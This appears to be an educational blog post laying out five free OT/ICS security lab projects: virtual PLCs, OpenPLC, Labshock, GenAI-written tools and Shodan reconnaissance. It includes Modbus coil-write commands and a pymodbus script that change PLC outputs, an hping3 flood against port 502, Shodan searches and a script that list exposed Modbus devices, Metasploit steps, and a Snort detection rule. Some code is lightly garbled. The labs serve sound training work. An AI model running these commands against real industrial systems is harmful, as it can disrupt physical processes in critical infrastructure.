5 FREE OT/ICS Cybersecurity Projects That Will Make You a PLC Hacking Pro (2026 Guide) + Video

Listen to this Post

Featured Image

Introduction:

Operational Technology (OT) and Industrial Control Systems (ICS) form the backbone of critical infrastructure—power grids, water treatment plants, and manufacturing lines—yet they remain dangerously vulnerable to cyberattacks. Hands-on projects using virtual PLCs, Shodan, and GenAI tools allow you to simulate real-world attacks and defenses, accelerating your learning curve and demonstrating practical skills to employers.

Learning Objectives:

  • Build and hack virtual PLC environments to understand OT attack surfaces and common exploitation techniques.
  • Leverage GenAI to automate creation of custom OT security testing tools and simulation scripts.
  • Deploy free lab environments (Labshock, OpenPLC) using Docker and Shodan for asset discovery and vulnerability assessment.

You Should Know:

  1. Hack Your First PLC: Exploiting Modbus Vulnerabilities in a Virtual Environment

This project uses a free virtual environment (VM) with a pre-configured PLC simulator. The goal is to understand how easily an attacker can manipulate industrial processes by sending crafted Modbus packets—the most common OT protocol lacking authentication.

Step‑by‑Step Guide:

  1. Download the virtual environment from the provided link (https://lnkd.in/ed-Edien). Import the OVA file into VirtualBox or VMware.
  2. Start the VM and note its IP address (e.g., 192.168.56.101). The PLC simulator runs Modbus on TCP port 502.
  3. From your attacker machine (Kali Linux recommended), scan for open ports:
    nmap -p 502 --script modbus-discover 192.168.56.101
    
  4. Use `modbus-cli` to read coil values (binary outputs):
    modbus read-coils 192.168.56.101 1 10
    
  5. Write to a coil to turn a simulated motor on/off:
    modbus write-coil 192.168.56.101 0 1  sets coil 0 to ON
    

6. Exploit with a Python script using `pyModbus`:

from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.56.101')
client.connect()
 Force coil 5 to True
client.write_coil(5, True)
 Read holding registers
result = client.read_holding_registers(0, 10)
print(result.registers)
client.close()

7. Observe how simple commands can disrupt a simulated conveyor belt or tank level. This exercise reveals why network segmentation and anomaly detection are critical.

  1. Use GenAI to Create Your Own OT Security Tools

Large Language Models (e.g., ChatGPT, ) can generate custom scripts for OT network scanning, protocol fuzzing, or even full HMI simulations. You don’t need deep coding skills—only clear prompts.

Step‑by‑Step Guide:

  1. Define your tool’s purpose: “Generate a Python script that discovers Modbus devices on a local subnet and logs their unit identifiers.”

2. Use a GenAI prompt (example for ChatGPT):

Write a Python script using Scapy to send Modbus/TCP requests to all IPs in 192.168.1.0/24 on port 502. Print the IP and unit ID for any device that responds with a valid read holding registers response.

3. Run the generated script on Linux (install Scapy: pip install scapy):

from scapy.all import IP, TCP, sr1, Raw
import ipaddress
 ... (AI-generated code)

4. Enhance the tool by asking GenAI to add logging, CSV export, or even a simple GUI using Tkinter.
5. For OT simulation, prompt: “Create a Bash script that starts a fake PLC listening on port 502 and responds to read coil requests with random values.”
6. Test your tool in the Labshock environment (see section 5) to validate against real traffic.
7. Share your custom tools on GitHub—this becomes a portfolio piece that impresses hiring managers.

3. Build a Virtual PLC with OpenPLC

OpenPLC is an open‑source Programmable Logic Controller emulator that runs on Linux, Windows, or Docker. Understanding its ladder logic and Modbus slave functionality is essential for both attacking and defending OT.

Step‑by‑Step Guide (Linux/Docker):

1. Install OpenPLC (preferred method using Docker):

sudo docker pull openplc/openplc
sudo docker run -d -p 8080:8080 -p 502:502 --name openplc openplc/openplc

2. Access the web interface at http://localhost:8080`. Default credentials: `openplc` /openplc`.
3. Upload a sample ladder logic program (e.g., a simple start/stop circuit). Download examples from https://lnkd.in/eCJTN8DC.
4. Use `modbus-cli` from another terminal to interact with your virtual PLC:

modbus read-coils 127.0.0.1 0 10

5. Simulate a denial‑of‑service attack by flooding port 502 with invalid packets:

sudo hping3 -S -p 502 --flood 127.0.0.1

6. Defend by configuring OpenPLC’s built‑in firewall rules (via web UI) to rate‑limit connections.
7. For Windows users without Docker, install OpenPLC Runtime from the official site and run as a service. Use PowerShell’s `Test-NetConnection` to verify port 502 is listening.

4. Use Shodan to Find Exposed OT Assets

Shodan is a search engine for internet‑connected devices. Many PLCs, HMIs, and RTUs are accidentally exposed with default credentials. Learning to find them helps you understand the scale of the problem—and how to protect your own assets.

Step‑by‑Step Guide:

  1. Create a free account at https://shodan.io (limited results; educational use only).

2. Install the Shodan CLI on Linux/macOS:

pip install shodan
shodan init YOUR_API_KEY

3. Search for Modbus devices:

shodan search "port:502 modbus"

4. Filter by country (e.g., United States):

shodan search "port:502 country:US"

5. Use the video guide (https://lnkd.in/eQgJ-xKa) to interpret results—look for banner information revealing vendor, product, and sometimes default passwords.
6. Automate with a script that checks for specific vulnerabilities:

import shodan
api = shodan.Shodan('YOUR_API_KEY')
results = api.search('port:502 "Schneider Electric"')
for result in results['matches']:
print(f"{result['ip_str']}:{result['port']} - {result['data']}")

7. Critical note: Never attempt to access or exploit exposed devices without explicit authorization. Use this skill only for defensive audits of your own or employer‑approved assets.

  1. Spin Up Labshock: A Full OT Attack/Defense Lab in Docker

Labshock provides a pre‑built Docker environment with vulnerable PLCs, network services, and attack tools. It’s the fastest way to practice OT cybersecurity without expensive hardware.

Step‑by‑Step Guide:

  1. Clone the Labshock repository (link: https://lnkd.in/eZGfyj74):
    git clone https://github.com/labshock/labshock.git
    cd labshock
    
  2. Install Docker and Docker Compose if not already present:
    sudo apt update && sudo apt install docker.io docker-compose -y  Linux
    Windows: Install Docker Desktop with WSL2 backend
    

3. Launch the lab:

sudo docker-compose up -d

4. Access the vulnerable PLC (runs on localhost:502). Use the same Modbus commands from Section 1.

5. Launch a Metasploit container included in Labshock:

sudo docker exec -it labshock_msfconsole /bin/bash
msfconsole

6. Run an OT exploit, e.g., the Modbus client scanner:

use auxiliary/scanner/scada/modbusclient
set RHOSTS 172.18.0.2  IP of the vulnerable PLC inside Docker network
run

7. Practice defense: Deploy Snort inside a container to detect Modbus write commands. Example rule:

alert tcp any any -> any 502 (msg:"Modbus Write Coil"; content:"|05|"; offset:7; depth:1; sid:1000001;)

8. Teardown after practice: sudo docker-compose down. Labshock resets to a clean state each time, making it perfect for repeated drills.

6. Share Your Progress and Join the Community

The final, often overlooked step is collaboration. Share your findings, scripts, and lab notes on LinkedIn or GitHub. Mike Holcomb’s newsletter (https://lnkd.in/ePTx-Rfw) and free video library (https://lnkd.in/eif9fkVg) are excellent resources for staying updated.

Step‑by‑Step Guide to Sharing:

  1. Document one project with screenshots and a short write‑up. Example: “How I used Shodan to find 10 exposed PLCs (ethically) and reported them via CISA.”
  2. Post on LinkedIn with the hashtags OTSecurity ICScybersecurity PLC.
  3. Create a GitHub repository containing your custom GenAI‑generated scripts and OpenPLC programs.
  4. Engage with the community—comment on Mike Holcomb’s posts, join OT/ISC² forums, and offer help to beginners.
  5. Set a goal to complete all five projects within 30 days. Each project builds on the previous, creating a portfolio that proves your hands‑on capability.

What Undercode Say:

  • Key Takeaway 1: Free, hands‑on OT/ICS projects are more valuable than any certification for building practical skills. Virtual PLCs and Docker labs remove hardware barriers.
  • Key Takeaway 2: Combining GenAI for tool creation with Shodan for reconnaissance creates a powerful, repeatable workflow for discovering and mitigating OT exposures.

Analysis: The OT security field suffers from a shortage of practitioners who understand both legacy protocols (Modbus, DNP3) and modern attack techniques. These five projects directly address that gap by providing low‑cost, high‑fidelity simulations. The use of GenAI democratizes tool development, allowing even non‑programmers to automate scans and fuzzers. However, ethical boundaries must be stressed—Shodan searches can easily cross into illegal territory if misused. The article’s emphasis on sharing and community building is crucial; individual learning is amplified when combined with collective defense. Overall, this approach aligns with the NIST Cybersecurity Framework’s “Identify” and “Protect” functions, making it immediately applicable to real‑world SOC and red‑team roles.

Prediction:

Within two years, OT/ICS cybersecurity training will shift almost entirely to cloud‑based virtual labs with integrated GenAI co‑pilots. Employers will prioritize project portfolios over degrees, and tools like Labshock will evolve into commercial platforms offering persistent, multi‑tenant environments for red‑vs‑blue exercises. The rise of AI‑generated attack scripts will force vendors to finally implement authentication and encryption in legacy OT protocols—but until then, hands‑on skills from projects like these will remain the strongest defense against industrial cyber‑physical threats.

▶️ Related Video (78% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky